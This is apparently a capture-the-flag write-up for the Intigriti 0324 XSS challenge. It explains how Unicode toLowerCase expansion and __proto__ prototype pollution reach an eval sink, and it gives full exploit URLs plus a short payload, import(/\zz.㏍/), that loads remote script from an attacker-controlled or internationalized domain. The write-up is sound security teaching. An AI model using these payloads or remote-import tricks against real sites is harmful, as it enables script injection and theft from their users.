challenge-0324.intigriti.io Writeup
Lets dig in the challenge. First of all we need to understand our enemy (challenge). How bad it looks from HTTP headers point of view.
⬆️ No security related headers. That's good. Now lets check security related HTML tags.
⬆️ Also nothing!
Script analysis
const urlParams = new URLSearchParams(window.location.search);
const nameParam = urlParams.get("setName");
const contactParam = urlParams.get("setContact");
const valueParam = urlParams.get("setValue");
const tokenParam = urlParams.get("setToken");
const runContactInfo = urlParams.get("runContactInfo");
const runTokenInfo = urlParams.get("runTokenInfo");
if (nameParam && contactParam && valueParam) {
handleInputName(nameParam, contactParam, valueParam);
}
if (tokenParam) {
handleInputToken(tokenParam);
}
if (runContactInfo) {
runCmdName('alert');
}
if (runTokenInfo) {
runCmdToken('alert');
}
⬆️ This looks like an entry point where we can set all values name
, contact
, value
and token
.
function runCmdName(cmd) {
...
eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
}
⬆️ Looks safe. Because when eval
is called there are variables no values.
function runCmdToken(cmd) {
if (!user['token'] || user['token'].length != 32) {
return;
}
var str = `${user['token']}${cmd}(hash)`.toLowerCase();
var hash = str.slice(0, 32);
var cmd = str.slice(32);
eval(cmd);
}
⬆️ Looks better:
* user['token']
— need to be 32 characters long.
* Then it will be converted to string type and converted to lower case. Wait… something similar I have seen in the past, but there was toUpperCase
.
Finding the proper character
⬇️ We will search for Unicode char which after toLowerCase()
will be longer than 1 character.
for (x=0; x< 65536; x++){
if (String.fromCharCode(x).toLowerCase().length > 1) console.log(x)
}
And the result is 304
which looks like İ
. There are more after 65536.
First attempt to solve
Lets set the values and check what will happen:
https://challenge-0324.intigriti.io/challenge/index.html?setName=name&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(1337)//xxx&runTokenInfo=1
⬇️ Oh, I messed something up as usual
Second attempt to solve
We can set prototype for user
object with __proto__
property.
https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(1337)//xxx&runTokenInfo=1
And we have an alert
with 1337
. But that does not feel right, we need to get proper XSS!
Proper XSS
So we have 16 chars to work with. The shortest payload I can think of includes import
.
* import
— 6 chars, 10 left
* ()
— 2 more = 8, 8 left
* ;
— 1 to fix syntax, 7 left
7 chars is enough for '//⑭.₨'
(why and how?) — sadly 14.rs
provides wrong content type text/html
, but browser expects text/javascript
.
I have my own secret domain which can be shortened to 4 characters after domain Unicode magic. Lets pretend that my domain is zz.kk
, it can be shortened to zz.㏍
.
* zz.㏍
— 4 chars domain name, 3 left for string like wrapper
* /…/
— 2 chars for regex, 1 left for same protocol
* \
— one char we can put in regex, 0 left. Browser will convers \
to /
for URLs.
In the result when regex is converted to string we have regular expression with escaped \
character, but who cares, browser will understand anyway.
16 character payload
import(/\zz.㏍/);
⬆️ This code snippet will execute import('/\\zz.㏍/');
, and the browser will interpret it as import('///zz.kk/');
→ import('https://zz.kk/');
.
Final payload (will not work because I do not want to disclose my secret domain name)
https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=İİİİİİİİİİİİİİİİimport(/\zz.㏍/);&runTokenInfo=1
Extra
I did not tested, since I do not have such domain, but it should work with this challenge using Internationalized domain.
for example:
import(/\ž.be/);
→ import('https://xn--jha.be/')
And we can also combine both domain name techniques together:import('//ž.℡')
→ import('https://xn--jha.tel/')